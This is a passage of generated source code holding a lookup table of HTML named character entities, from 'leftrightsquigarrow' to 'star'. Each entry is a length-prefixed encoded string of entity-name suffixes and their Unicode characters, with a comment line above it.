			// leftrightsquigarrow;[↭] leftrightharpoons;[⇋] leftharpoondown;[↽] leftrightarrows;[⇆] leftleftarrows;[⇇] leftrightarrow;[↔] leftthreetimes;[⋋] leftarrowtail;[↢] leftharpoonup;[↼] lessapprox;[⪅] lesseqqgtr;[⪋] leftarrow;[←] lesseqgtr;[⋚] leqslant;[⩽] lesdotor;[⪃] lesdoto;[⪁] lessdot;[⋖] lessgtr;[≶] lesssim;[≲] lesdot;[⩿] lesges;[⪓] lescc;[⪨] leqq;[≦] lesg;[⋚︀] leg;[⋚] leq;[≤] les;[⩽] le;[≤].
			"\x12ftrightsquigarrow;\x03↭\x10ftrightharpoons;\x03⇋\x0eftharpoondown;\x03↽\x0eftrightarrows;\x03⇆\x0dftleftarrows;\x03⇇\x0dftrightarrow;\x03↔\x0dftthreetimes;\x03⋋\x0cftarrowtail;\x03↢\x0cftharpoonup;\x03↼\x09ssapprox;\x03⪅\x09sseqqgtr;\x03⪋\x08ftarrow;\x03←\x08sseqgtr;\x03⋚\x07qslant;\x03⩽\x07sdotor;\x03⪃\x06sdoto;\x03⪁\x06ssdot;\x03⋖\x06ssgtr;\x03≶\x06sssim;\x03≲\x05sdot;\x03⩿\x05sges;\x03⪓\x04scc;\x03⪨\x03qq;\x03≦\x03sg;\x06⋚︀\x02g;\x03⋚\x02q;\x03≤\x02s;\x03⩽\x01;\x03≤",
			// lfisht;[⥼] lfloor;[⌊] lfr;[𝔩].
			"\x05isht;\x03⥼\x05loor;\x03⌊\x02r;\x04𝔩",
			// lgE;[⪑] lg;[≶].
			"\x02E;\x03⪑\x01;\x03≶",
			// lharul;[⥪] lhard;[↽] lharu;[↼] lhblk;[▄].
			"\x05arul;\x03⥪\x04ard;\x03↽\x04aru;\x03↼\x04blk;\x03▄",
			// ljcy;[љ].
			"\x03cy;\x02љ",
			// llcorner;[⌞] llhard;[⥫] llarr;[⇇] lltri;[◺] ll;[≪].
			"\x07corner;\x03⌞\x05hard;\x03⥫\x04arr;\x03⇇\x04tri;\x03◺\x01;\x03≪",
			// lmoustache;[⎰] lmidot;[ŀ] lmoust;[⎰].
			"\x09oustache;\x03⎰\x05idot;\x02ŀ\x05oust;\x03⎰",
			// lnapprox;[⪉] lneqq;[≨] lnsim;[⋦] lnap;[⪉] lneq;[⪇] lnE;[≨] lne;[⪇].
			"\x07approx;\x03⪉\x04eqq;\x03≨\x04sim;\x03⋦\x03ap;\x03⪉\x03eq;\x03⪇\x02E;\x03≨\x02e;\x03⪇",
			// longleftrightarrow;[⟷] longrightarrow;[⟶] looparrowright;[↬] longleftarrow;[⟵] looparrowleft;[↫] longmapsto;[⟼] lotimes;[⨴] lozenge;[◊] loplus;[⨭] lowast;[∗] lowbar;[_] loang;[⟬] loarr;[⇽] lobrk;[⟦] lopar;[⦅] lopf;[𝕝] lozf;[⧫] loz;[◊].
			"\x11ngleftrightarrow;\x03⟷\x0dngrightarrow;\x03⟶\x0doparrowright;\x03↬\x0cngleftarrow;\x03⟵\x0coparrowleft;\x03↫\x09ngmapsto;\x03⟼\x06times;\x03⨴\x06zenge;\x03◊\x05plus;\x03⨭\x05wast;\x03∗\x05wbar;\x01_\x04ang;\x03⟬\x04arr;\x03⇽\x04brk;\x03⟦\x04par;\x03⦅\x03pf;\x04𝕝\x03zf;\x03⧫\x02z;\x03◊",
			// lparlt;[⦓] lpar;[(].
			"\x05arlt;\x03⦓\x03ar;\x01(",
			// lrcorner;[⌟] lrhard;[⥭] lrarr;[⇆] lrhar;[⇋] lrtri;[⊿] lrm;[‎].
			"\x07corner;\x03⌟\x05hard;\x03⥭\x04arr;\x03⇆\x04har;\x03⇋\x04tri;\x03⊿\x02m;\x03‎",
			// lsaquo;[‹] lsquor;[‚] lstrok;[ł] lsime;[⪍] lsimg;[⪏] lsquo;[‘] lscr;[𝓁] lsim;[≲] lsqb;[[] lsh;[↰].
			"\x05aquo;\x03‹\x05quor;\x03‚\x05trok;\x02ł\x04ime;\x03⪍\x04img;\x03⪏\x04quo;\x03‘\x03cr;\x04𝓁\x03im;\x03≲\x03qb;\x01[\x02h;\x03↰",
			// ltquest;[⩻] lthree;[⋋] ltimes;[⋉] ltlarr;[⥶] ltrPar;[⦖] ltcir;[⩹] ltdot;[⋖] ltrie;[⊴] ltrif;[◂] ltcc;[⪦] ltri;[◃] lt;[<].
			"\x06quest;\x03⩻\x05hree;\x03⋋\x05imes;\x03⋉\x05larr;\x03⥶\x05rPar;\x03⦖\x04cir;\x03⩹\x04dot;\x03⋖\x04rie;\x03⊴\x04rif;\x03◂\x03cc;\x03⪦\x03ri;\x03◃\x01;\x01<",
			// lurdshar;[⥊] luruhar;[⥦].
			"\x07rdshar;\x03⥊\x06ruhar;\x03⥦",
			// lvertneqq;[≨︀] lvnE;[≨︀].
			"\x08ertneqq;\x06≨︀\x03nE;\x06≨︀",
			// mDDot;[∺].
			"\x04Dot;\x03∺",
			// mapstodown;[↧] mapstoleft;[↤] mapstoup;[↥] maltese;[✠] mapsto;[↦] marker;[▮] macr;[¯] male;[♂] malt;[✠] macr[¯] map;[↦].
			"\x09pstodown;\x03↧\x09pstoleft;\x03↤\x07pstoup;\x03↥\x06ltese;\x03✠\x05psto;\x03↦\x05rker;\x03▮\x03cr;\x02¯\x03le;\x03♂\x03lt;\x03✠\x02cr\x02¯\x02p;\x03↦",
			// mcomma;[⨩] mcy;[м].
			"\x05omma;\x03⨩\x02y;\x02м",
			// mdash;[—].
			"\x04ash;\x03—",
			// measuredangle;[∡].
			"\x0casuredangle;\x03∡",
			// mfr;[𝔪].
			"\x02r;\x04𝔪",
			// mho;[℧].
			"\x02o;\x03℧",
			// minusdu;[⨪] midast;[*] midcir;[⫰] middot;[·] minusb;[⊟] minusd;[∸] micro;[µ] middot[·] minus;[−] micro[µ] mid;[∣].
			"\x06nusdu;\x03⨪\x05dast;\x01*\x05dcir;\x03⫰\x05ddot;\x02·\x05nusb;\x03⊟\x05nusd;\x03∸\x04cro;\x02µ\x04ddot\x02·\x04nus;\x03−\x03cro\x02µ\x02d;\x03∣",
			// mlcp;[⫛] mldr;[…].
			"\x03cp;\x03⫛\x03dr;\x03…",
			// mnplus;[∓].
			"\x05plus;\x03∓",
			// models;[⊧] mopf;[𝕞].
			"\x05dels;\x03⊧\x03pf;\x04𝕞",
			// mp;[∓].
			"\x01;\x03∓",
			// mstpos;[∾] mscr;[𝓂].
			"\x05tpos;\x03∾\x03cr;\x04𝓂",
			// multimap;[⊸] mumap;[⊸] mu;[μ].
			"\x07ltimap;\x03⊸\x04map;\x03⊸\x01;\x02μ",
			// nGtv;[≫̸] nGg;[⋙̸] nGt;[≫⃒].
			"\x03tv;\x05≫̸\x02g;\x05⋙̸\x02t;\x06≫⃒",
			// nLeftrightarrow;[⇎] nLeftarrow;[⇍] nLtv;[≪̸] nLl;[⋘̸] nLt;[≪⃒].
			"\x0eeftrightarrow;\x03⇎\x09eftarrow;\x03⇍\x03tv;\x05≪̸\x02l;\x05⋘̸\x02t;\x06≪⃒",
			// nRightarrow;[⇏].
			"\x0aightarrow;\x03⇏",
			// nVDash;[⊯] nVdash;[⊮].
			"\x05Dash;\x03⊯\x05dash;\x03⊮",
			// naturals;[ℕ] napprox;[≉] natural;[♮] nacute;[ń] nabla;[∇] napid;[≋̸] napos;[ʼn] natur;[♮] nang;[∠⃒] napE;[⩰̸] nap;[≉].
			"\x07turals;\x03ℕ\x06pprox;\x03≉\x06tural;\x03♮\x05cute;\x02ń\x04bla;\x03∇\x04pid;\x05≋̸\x04pos;\x02ʼn\x04tur;\x03♮\x03ng;\x06∠⃒\x03pE;\x05⩰̸\x02p;\x03≉",
			// nbumpe;[≏̸] nbump;[≎̸] nbsp;[ ] nbsp[ ].
			"\x05umpe;\x05≏̸\x04ump;\x05≎̸\x03sp;\x02 \x02sp\x02 ",
			// ncongdot;[⩭̸] ncaron;[ň] ncedil;[ņ] ncong;[≇] ncap;[⩃] ncup;[⩂] ncy;[н].
			"\x07ongdot;\x05⩭̸\x05aron;\x02ň\x05edil;\x02ņ\x04ong;\x03≇\x03ap;\x03⩃\x03up;\x03⩂\x02y;\x02н",
			// ndash;[–].
			"\x04ash;\x03–",
			// nearrow;[↗] nexists;[∄] nearhk;[⤤] nequiv;[≢] nesear;[⤨] nexist;[∄] neArr;[⇗] nearr;[↗] nedot;[≐̸] nesim;[≂̸] ne;[≠].
			"\x06arrow;\x03↗\x06xists;\x03∄\x05arhk;\x03⤤\x05quiv;\x03≢\x05sear;\x03⤨\x05xist;\x03∄\x04Arr;\x03⇗\x04arr;\x03↗\x04dot;\x05≐̸\x04sim;\x05≂̸\x01;\x03≠",
			// nfr;[𝔫].
			"\x02r;\x04𝔫",
			// ngeqslant;[⩾̸] ngeqq;[≧̸] ngsim;[≵] ngeq;[≱] nges;[⩾̸] ngtr;[≯] ngE;[≧̸] nge;[≱] ngt;[≯].
			"\x08eqslant;\x05⩾̸\x04eqq;\x05≧̸\x04sim;\x03≵\x03eq;\x03≱\x03es;\x05⩾̸\x03tr;\x03≯\x02E;\x05≧̸\x02e;\x03≱\x02t;\x03≯",
			// nhArr;[⇎] nharr;[↮] nhpar;[⫲].
			"\x04Arr;\x03⇎\x04arr;\x03↮\x04par;\x03⫲",
			// nisd;[⋺] nis;[⋼] niv;[∋] ni;[∋].
			"\x03sd;\x03⋺\x02s;\x03⋼\x02v;\x03∋\x01;\x03∋",
			// njcy;[њ].
			"\x03cy;\x02њ",
			// nleftrightarrow;[↮] nleftarrow;[↚] nleqslant;[⩽̸] nltrie;[⋬] nlArr;[⇍] nlarr;[↚] nleqq;[≦̸] nless;[≮] nlsim;[≴] nltri;[⋪] nldr;[‥] nleq;[≰] nles;[⩽̸] nlE;[≦̸] nle;[≰] nlt;[≮].
			"\x0eeftrightarrow;\x03↮\x09eftarrow;\x03↚\x08eqslant;\x05⩽̸\x05trie;\x03⋬\x04Arr;\x03⇍\x04arr;\x03↚\x04eqq;\x05≦̸\x04ess;\x03≮\x04sim;\x03≴\x04tri;\x03⋪\x03dr;\x03‥\x03eq;\x03≰\x03es;\x05⩽̸\x02E;\x05≦̸\x02e;\x03≰\x02t;\x03≮",
			// nmid;[∤].
			"\x03id;\x03∤",
			// notindot;[⋵̸] notinva;[∉] notinvb;[⋷] notinvc;[⋶] notniva;[∌] notnivb;[⋾] notnivc;[⋽] notinE;[⋹̸] notin;[∉] notni;[∌] nopf;[𝕟] not;[¬] not[¬].
			"\x07tindot;\x05⋵̸\x06tinva;\x03∉\x06tinvb;\x03⋷\x06tinvc;\x03⋶\x06tniva;\x03∌\x06tnivb;\x03⋾\x06tnivc;\x03⋽\x05tinE;\x05⋹̸\x04tin;\x03∉\x04tni;\x03∌\x03pf;\x04𝕟\x02t;\x02¬\x01t\x02¬",
			// nparallel;[∦] npolint;[⨔] npreceq;[⪯̸] nparsl;[⫽⃥] nprcue;[⋠] npart;[∂̸] nprec;[⊀] npar;[∦] npre;[⪯̸] npr;[⊀].
			"\x08arallel;\x03∦\x06olint;\x03⨔\x06receq;\x05⪯̸\x05arsl;\x06⫽⃥\x05rcue;\x03⋠\x04art;\x05∂̸\x04rec;\x03⊀\x03ar;\x03∦\x03re;\x05⪯̸\x02r;\x03⊀",
			// nrightarrow;[↛] nrarrc;[⤳̸] nrarrw;[↝̸] nrtrie;[⋭] nrArr;[⇏] nrarr;[↛] nrtri;[⋫].
			"\x0aightarrow;\x03↛\x05arrc;\x05⤳̸\x05arrw;\x05↝̸\x05trie;\x03⋭\x04Arr;\x03⇏\x04arr;\x03↛\x04tri;\x03⋫",
			// nshortparallel;[∦] nsubseteqq;[⫅̸] nsupseteqq;[⫆̸] nshortmid;[∤] nsubseteq;[⊈] nsupseteq;[⊉] nsqsube;[⋢] nsqsupe;[⋣] nsubset;[⊂⃒] nsucceq;[⪰̸] nsupset;[⊃⃒] nsccue;[⋡] nsimeq;[≄] nsime;[≄] nsmid;[∤] nspar;[∦] nsubE;[⫅̸] nsube;[⊈] nsucc;[⊁] nsupE;[⫆̸] nsupe;[⊉] nsce;[⪰̸] nscr;[𝓃] nsim;[≁] nsub;[⊄] nsup;[⊅] nsc;[⊁].
			"\x0dhortparallel;\x03∦\x09ubseteqq;\x05⫅̸\x09upseteqq;\x05⫆̸\x08hortmid;\x03∤\x08ubseteq;\x03⊈\x08upseteq;\x03⊉\x06qsube;\x03⋢\x06qsupe;\x03⋣\x06ubset;\x06⊂⃒\x06ucceq;\x05⪰̸\x06upset;\x06⊃⃒\x05ccue;\x03⋡\x05imeq;\x03≄\x04ime;\x03≄\x04mid;\x03∤\x04par;\x03∦\x04ubE;\x05⫅̸\x04ube;\x03⊈\x04ucc;\x03⊁\x04upE;\x05⫆̸\x04upe;\x03⊉\x03ce;\x05⪰̸\x03cr;\x04𝓃\x03im;\x03≁\x03ub;\x03⊄\x03up;\x03⊅\x02c;\x03⊁",
			// ntrianglerighteq;[⋭] ntrianglelefteq;[⋬] ntriangleright;[⋫] ntriangleleft;[⋪] ntilde;[ñ] ntilde[ñ] ntgl;[≹] ntlg;[≸].
			"\x0frianglerighteq;\x03⋭\x0erianglelefteq;\x03⋬\x0driangleright;\x03⋫\x0criangleleft;\x03⋪\x05ilde;\x02ñ\x04ilde\x02ñ\x03gl;\x03≹\x03lg;\x03≸",
			// numero;[№] numsp;[ ] num;[#] nu;[ν].
			"\x05mero;\x03№\x04msp;\x03 \x02m;\x01#\x01;\x02ν",
			// nvinfin;[⧞] nvltrie;[⊴⃒] nvrtrie;[⊵⃒] nvDash;[⊭] nvHarr;[⤄] nvdash;[⊬] nvlArr;[⤂] nvrArr;[⤃] nvsim;[∼⃒] nvap;[≍⃒] nvge;[≥⃒] nvgt;[>⃒] nvle;[≤⃒] nvlt;[<⃒].
			"\x06infin;\x03⧞\x06ltrie;\x06⊴⃒\x06rtrie;\x06⊵⃒\x05Dash;\x03⊭\x05Harr;\x03⤄\x05dash;\x03⊬\x05lArr;\x03⤂\x05rArr;\x03⤃\x04sim;\x06∼⃒\x03ap;\x06≍⃒\x03ge;\x06≥⃒\x03gt;\x04>⃒\x03le;\x06≤⃒\x03lt;\x04<⃒",
			// nwarrow;[↖] nwarhk;[⤣] nwnear;[⤧] nwArr;[⇖] nwarr;[↖].
			"\x06arrow;\x03↖\x05arhk;\x03⤣\x05near;\x03⤧\x04Arr;\x03⇖\x04arr;\x03↖",
			// oS;[Ⓢ].
			"\x01;\x03Ⓢ",
			// oacute;[ó] oacute[ó] oast;[⊛].
			"\x05cute;\x02ó\x04cute\x02ó\x03st;\x03⊛",
			// ocirc;[ô] ocir;[⊚] ocirc[ô] ocy;[о].
			"\x04irc;\x02ô\x03ir;\x03⊚\x03irc\x02ô\x02y;\x02о",
			// odblac;[ő] odsold;[⦼] odash;[⊝] odiv;[⨸] odot;[⊙].
			"\x05blac;\x02ő\x05sold;\x03⦼\x04ash;\x03⊝\x03iv;\x03⨸\x03ot;\x03⊙",
			// oelig;[œ].
			"\x04lig;\x02œ",
			// ofcir;[⦿] ofr;[𝔬].
			"\x04cir;\x03⦿\x02r;\x04𝔬",
			// ograve;[ò] ograve[ò] ogon;[˛] ogt;[⧁].
			"\x05rave;\x02ò\x04rave\x02ò\x03on;\x02˛\x02t;\x03⧁",
			// ohbar;[⦵] ohm;[Ω].
			"\x04bar;\x03⦵\x02m;\x02Ω",
			// oint;[∮].
			"\x03nt;\x03∮",
			// olcross;[⦻] olarr;[↺] olcir;[⦾] oline;[‾] olt;[⧀].
			"\x06cross;\x03⦻\x04arr;\x03↺\x04cir;\x03⦾\x04ine;\x03‾\x02t;\x03⧀",
			// omicron;[ο] ominus;[⊖] omacr;[ō] omega;[ω] omid;[⦶].
			"\x06icron;\x02ο\x05inus;\x03⊖\x04acr;\x02ō\x04ega;\x02ω\x03id;\x03⦶",
			// oopf;[𝕠].
			"\x03pf;\x04𝕠",
			// operp;[⦹] oplus;[⊕] opar;[⦷].
			"\x04erp;\x03⦹\x04lus;\x03⊕\x03ar;\x03⦷",
			// orderof;[ℴ] orslope;[⩗] origof;[⊶] orarr;[↻] order;[ℴ] ordf;[ª] ordm;[º] oror;[⩖] ord;[⩝] ordf[ª] ordm[º] orv;[⩛] or;[∨].
			"\x06derof;\x03ℴ\x06slope;\x03⩗\x05igof;\x03⊶\x04arr;\x03↻\x04der;\x03ℴ\x03df;\x02ª\x03dm;\x02º\x03or;\x03⩖\x02d;\x03⩝\x02df\x02ª\x02dm\x02º\x02v;\x03⩛\x01;\x03∨",
			// oslash;[ø] oslash[ø] oscr;[ℴ] osol;[⊘].
			"\x05lash;\x02ø\x04lash\x02ø\x03cr;\x03ℴ\x03ol;\x03⊘",
			// otimesas;[⨶] otilde;[õ] otimes;[⊗] otilde[õ].
			"\x07imesas;\x03⨶\x05ilde;\x02õ\x05imes;\x03⊗\x04ilde\x02õ",
			// ouml;[ö] ouml[ö].
			"\x03ml;\x02ö\x02ml\x02ö",
			// ovbar;[⌽].
			"\x04bar;\x03⌽",
			// parallel;[∥] parsim;[⫳] parsl;[⫽] para;[¶] part;[∂] par;[∥] para[¶].
			"\x07rallel;\x03∥\x05rsim;\x03⫳\x04rsl;\x03⫽\x03ra;\x02¶\x03rt;\x03∂\x02r;\x03∥\x02ra\x02¶",
			// pcy;[п].
			"\x02y;\x02п",
			// pertenk;[‱] percnt;[%] period;[.] permil;[‰] perp;[⊥].
			"\x06rtenk;\x03‱\x05rcnt;\x01%\x05riod;\x01.\x05rmil;\x03‰\x03rp;\x03⊥",
			// pfr;[𝔭].
			"\x02r;\x04𝔭",
			// phmmat;[ℳ] phone;[☎] phiv;[ϕ] phi;[φ].
			"\x05mmat;\x03ℳ\x04one;\x03☎\x03iv;\x02ϕ\x02i;\x02φ",
			// pitchfork;[⋔] piv;[ϖ] pi;[π].
			"\x08tchfork;\x03⋔\x02v;\x02ϖ\x01;\x02π",
			// plusacir;[⨣] planckh;[ℎ] pluscir;[⨢] plussim;[⨦] plustwo;[⨧] planck;[ℏ] plankv;[ℏ] plusdo;[∔] plusdu;[⨥] plusmn;[±] plusb;[⊞] pluse;[⩲] plusmn[±] plus;[+].
			"\x07usacir;\x03⨣\x06anckh;\x03ℎ\x06uscir;\x03⨢\x06ussim;\x03⨦\x06ustwo;\x03⨧\x05anck;\x03ℏ\x05ankv;\x03ℏ\x05usdo;\x03∔\x05usdu;\x03⨥\x05usmn;\x02±\x04usb;\x03⊞\x04use;\x03⩲\x04usmn\x02±\x03us;\x01+",
			// pm;[±].
			"\x01;\x02±",
			// pointint;[⨕] pound;[£] popf;[𝕡] pound[£].
			"\x07intint;\x03⨕\x04und;\x02£\x03pf;\x04𝕡\x03und\x02£",
			// preccurlyeq;[≼] precnapprox;[⪹] precapprox;[⪷] precneqq;[⪵] precnsim;[⋨] profalar;[⌮] profline;[⌒] profsurf;[⌓] precsim;[≾] preceq;[⪯] primes;[ℙ] prnsim;[⋨] propto;[∝] prurel;[⊰] prcue;[≼] prime;[′] prnap;[⪹] prsim;[≾] prap;[⪷] prec;[≺] prnE;[⪵] prod;[∏] prop;[∝] prE;[⪳] pre;[⪯] pr;[≺].
			"\x0aeccurlyeq;\x03≼\x0aecnapprox;\x03⪹\x09ecapprox;\x03⪷\x07ecneqq;\x03⪵\x07ecnsim;\x03⋨\x07ofalar;\x03⌮\x07ofline;\x03⌒\x07ofsurf;\x03⌓\x06ecsim;\x03≾\x05eceq;\x03⪯\x05imes;\x03ℙ\x05nsim;\x03⋨\x05opto;\x03∝\x05urel;\x03⊰\x04cue;\x03≼\x04ime;\x03′\x04nap;\x03⪹\x04sim;\x03≾\x03ap;\x03⪷\x03ec;\x03≺\x03nE;\x03⪵\x03od;\x03∏\x03op;\x03∝\x02E;\x03⪳\x02e;\x03⪯\x01;\x03≺",
			// pscr;[𝓅] psi;[ψ].
			"\x03cr;\x04𝓅\x02i;\x02ψ",
			// puncsp;[ ].
			"\x05ncsp;\x03 ",
			// qfr;[𝔮].
			"\x02r;\x04𝔮",
			// qint;[⨌].
			"\x03nt;\x03⨌",
			// qopf;[𝕢].
			"\x03pf;\x04𝕢",
			// qprime;[⁗].
			"\x05rime;\x03⁗",
			// qscr;[𝓆].
			"\x03cr;\x04𝓆",
			// quaternions;[ℍ] quatint;[⨖] questeq;[≟] quest;[?] quot;[\"] quot[\"].
			"\x0aaternions;\x03ℍ\x06atint;\x03⨖\x06esteq;\x03≟\x04est;\x01?\x03ot;\x01\"\x02ot\x01\"",
			// rAtail;[⤜] rAarr;[⇛] rArr;[⇒].
			"\x05tail;\x03⤜\x04arr;\x03⇛\x03rr;\x03⇒",
			// rBarr;[⤏].
			"\x04arr;\x03⤏",
			// rHar;[⥤].
			"\x03ar;\x03⥤",
			// rationals;[ℚ] raemptyv;[⦳] rarrbfs;[⤠] rarrsim;[⥴] racute;[ŕ] rangle;[⟩] rarrap;[⥵] rarrfs;[⤞] rarrhk;[↪] rarrlp;[↬] rarrpl;[⥅] rarrtl;[↣] ratail;[⤚] radic;[√] rangd;[⦒] range;[⦥] raquo;[»] rarrb;[⇥] rarrc;[⤳] rarrw;[↝] ratio;[∶] race;[∽̱] rang;[⟩] raquo[»] rarr;[→].
			"\x08tionals;\x03ℚ\x07emptyv;\x03⦳\x06rrbfs;\x03⤠\x06rrsim;\x03⥴\x05cute;\x02ŕ\x05ngle;\x03⟩\x05rrap;\x03⥵\x05rrfs;\x03⤞\x05rrhk;\x03↪\x05rrlp;\x03↬\x05rrpl;\x03⥅\x05rrtl;\x03↣\x05tail;\x03⤚\x04dic;\x03√\x04ngd;\x03⦒\x04nge;\x03⦥\x04quo;\x02»\x04rrb;\x03⇥\x04rrc;\x03⤳\x04rrw;\x03↝\x04tio;\x03∶\x03ce;\x05∽̱\x03ng;\x03⟩\x03quo\x02»\x03rr;\x03→",
			// rbrksld;[⦎] rbrkslu;[⦐] rbrace;[}] rbrack;[]] rbarr;[⤍] rbbrk;[❳] rbrke;[⦌].
			"\x06rksld;\x03⦎\x06rkslu;\x03⦐\x05race;\x01}\x05rack;\x01]\x04arr;\x03⤍\x04brk;\x03❳\x04rke;\x03⦌",
			// rcaron;[ř] rcedil;[ŗ] rceil;[⌉] rcub;[}] rcy;[р].
			"\x05aron;\x02ř\x05edil;\x02ŗ\x04eil;\x03⌉\x03ub;\x01}\x02y;\x02р",
			// rdldhar;[⥩] rdquor;[”] rdquo;[”] rdca;[⤷] rdsh;[↳].
			"\x06ldhar;\x03⥩\x05quor;\x03”\x04quo;\x03”\x03ca;\x03⤷\x03sh;\x03↳",
			// realpart;[ℜ] realine;[ℛ] reals;[ℝ] real;[ℜ] rect;[▭] reg;[®] reg[®].
			"\x07alpart;\x03ℜ\x06aline;\x03ℛ\x04als;\x03ℝ\x03al;\x03ℜ\x03ct;\x03▭\x02g;\x02®\x01g\x02®",
			// rfisht;[⥽] rfloor;[⌋] rfr;[𝔯].
			"\x05isht;\x03⥽\x05loor;\x03⌋\x02r;\x04𝔯",
			// rharul;[⥬] rhard;[⇁] rharu;[⇀] rhov;[ϱ] rho;[ρ].
			"\x05arul;\x03⥬\x04ard;\x03⇁\x04aru;\x03⇀\x03ov;\x02ϱ\x02o;\x02ρ",
			// rightleftharpoons;[⇌] rightharpoondown;[⇁] rightrightarrows;[⇉] rightleftarrows;[⇄] rightsquigarrow;[↝] rightthreetimes;[⋌] rightarrowtail;[↣] rightharpoonup;[⇀] risingdotseq;[≓] rightarrow;[→] ring;[˚].
			"\x10ghtleftharpoons;\x03⇌\x0fghtharpoondown;\x03⇁\x0fghtrightarrows;\x03⇉\x0eghtleftarrows;\x03⇄\x0eghtsquigarrow;\x03↝\x0eghtthreetimes;\x03⋌\x0dghtarrowtail;\x03↣\x0dghtharpoonup;\x03⇀\x0bsingdotseq;\x03≓\x09ghtarrow;\x03→\x03ng;\x02˚",
			// rlarr;[⇄] rlhar;[⇌] rlm;[‏].
			"\x04arr;\x03⇄\x04har;\x03⇌\x02m;\x03‏",
			// rmoustache;[⎱] rmoust;[⎱].
			"\x09oustache;\x03⎱\x05oust;\x03⎱",
			// rnmid;[⫮].
			"\x04mid;\x03⫮",
			// rotimes;[⨵] roplus;[⨮] roang;[⟭] roarr;[⇾] robrk;[⟧] ropar;[⦆] ropf;[𝕣].
			"\x06times;\x03⨵\x05plus;\x03⨮\x04ang;\x03⟭\x04arr;\x03⇾\x04brk;\x03⟧\x04par;\x03⦆\x03pf;\x04𝕣",
			// rppolint;[⨒] rpargt;[⦔] rpar;[)].
			"\x07polint;\x03⨒\x05argt;\x03⦔\x03ar;\x01)",
			// rrarr;[⇉].
			"\x04arr;\x03⇉",
			// rsaquo;[›] rsquor;[’] rsquo;[’] rscr;[𝓇] rsqb;[]] rsh;[↱].
			"\x05aquo;\x03›\x05quor;\x03’\x04quo;\x03’\x03cr;\x04𝓇\x03qb;\x01]\x02h;\x03↱",
			// rtriltri;[⧎] rthree;[⋌] rtimes;[⋊] rtrie;[⊵] rtrif;[▸] rtri;[▹].
			"\x07riltri;\x03⧎\x05hree;\x03⋌\x05imes;\x03⋊\x04rie;\x03⊵\x04rif;\x03▸\x03ri;\x03▹",
			// ruluhar;[⥨].
			"\x06luhar;\x03⥨",
			// rx;[℞].
			"\x01;\x03℞",
			// sacute;[ś].
			"\x05cute;\x02ś",
			// sbquo;[‚].
			"\x04quo;\x03‚",
			// scpolint;[⨓] scaron;[š] scedil;[ş] scnsim;[⋩] sccue;[≽] scirc;[ŝ] scnap;[⪺] scsim;[≿] scap;[⪸] scnE;[⪶] scE;[⪴] sce;[⪰] scy;[с] sc;[≻].
			"\x07polint;\x03⨓\x05aron;\x02š\x05edil;\x02ş\x05nsim;\x03⋩\x04cue;\x03≽\x04irc;\x02ŝ\x04nap;\x03⪺\x04sim;\x03≿\x03ap;\x03⪸\x03nE;\x03⪶\x02E;\x03⪴\x02e;\x03⪰\x02y;\x02с\x01;\x03≻",
			// sdotb;[⊡] sdote;[⩦] sdot;[⋅].
			"\x04otb;\x03⊡\x04ote;\x03⩦\x03ot;\x03⋅",
			// setminus;[∖] searrow;[↘] searhk;[⤥] seswar;[⤩] seArr;[⇘] searr;[↘] setmn;[∖] sect;[§] semi;[;] sext;[✶] sect[§].
			"\x07tminus;\x03∖\x06arrow;\x03↘\x05arhk;\x03⤥\x05swar;\x03⤩\x04Arr;\x03⇘\x04arr;\x03↘\x04tmn;\x03∖\x03ct;\x02§\x03mi;\x01;\x03xt;\x03✶\x02ct\x02§",
			// sfrown;[⌢] sfr;[𝔰].
			"\x05rown;\x03⌢\x02r;\x04𝔰",
			// shortparallel;[∥] shortmid;[∣] shchcy;[щ] sharp;[♯] shcy;[ш] shy;[­] shy[­].
			"\x0cortparallel;\x03∥\x07ortmid;\x03∣\x05chcy;\x02щ\x04arp;\x03♯\x03cy;\x02ш\x02y;\x02­\x01y\x02­",
			// simplus;[⨤] simrarr;[⥲] sigmaf;[ς] sigmav;[ς] simdot;[⩪] sigma;[σ] simeq;[≃] simgE;[⪠] simlE;[⪟] simne;[≆] sime;[≃] simg;[⪞] siml;[⪝] sim;[∼].
			"\x06mplus;\x03⨤\x06mrarr;\x03⥲\x05gmaf;\x02ς\x05gmav;\x02ς\x05mdot;\x03⩪\x04gma;\x02σ\x04meq;\x03≃\x04mgE;\x03⪠\x04mlE;\x03⪟\x04mne;\x03≆\x03me;\x03≃\x03mg;\x03⪞\x03ml;\x03⪝\x02m;\x03∼",
			// slarr;[←].
			"\x04arr;\x03←",
			// smallsetminus;[∖] smeparsl;[⧤] smashp;[⨳] smile;[⌣] smtes;[⪬︀] smid;[∣] smte;[⪬] smt;[⪪].
			"\x0callsetminus;\x03∖\x07eparsl;\x03⧤\x05ashp;\x03⨳\x04ile;\x03⌣\x04tes;\x06⪬︀\x03id;\x03∣\x03te;\x03⪬\x02t;\x03⪪",
			// softcy;[ь] solbar;[⌿] solb;[⧄] sopf;[𝕤] sol;[/].
			"\x05ftcy;\x02ь\x05lbar;\x03⌿\x03lb;\x03⧄\x03pf;\x04𝕤\x02l;\x01/",
			// spadesuit;[♠] spades;[♠] spar;[∥].
			"\x08adesuit;\x03♠\x05ades;\x03♠\x03ar;\x03∥",
			// sqsubseteq;[⊑] sqsupseteq;[⊒] sqsubset;[⊏] sqsupset;[⊐] sqcaps;[⊓︀] sqcups;[⊔︀] sqsube;[⊑] sqsupe;[⊒] square;[□] squarf;[▪] sqcap;[⊓] sqcup;[⊔] sqsub;[⊏] sqsup;[⊐] squf;[▪] squ;[□].
			"\x09subseteq;\x03⊑\x09supseteq;\x03⊒\x07subset;\x03⊏\x07supset;\x03⊐\x05caps;\x06⊓︀\x05cups;\x06⊔︀\x05sube;\x03⊑\x05supe;\x03⊒\x05uare;\x03□\x05uarf;\x03▪\x04cap;\x03⊓\x04cup;\x03⊔\x04sub;\x03⊏\x04sup;\x03⊐\x03uf;\x03▪\x02u;\x03□",
			// srarr;[→].
			"\x04arr;\x03→",
			// ssetmn;[∖] ssmile;[⌣] sstarf;[⋆] sscr;[𝓈].
			"\x05etmn;\x03∖\x05mile;\x03⌣\x05tarf;\x03⋆\x03cr;\x04𝓈",
			// straightepsilon;[ϵ] straightphi;[ϕ] starf;[★] strns;[¯] star;[☆].
			"\x0eraightepsilon;\x02ϵ\x0araightphi;\x02ϕ\x04arf;\x03★\x04rns;\x02¯\x03ar;\x03☆",
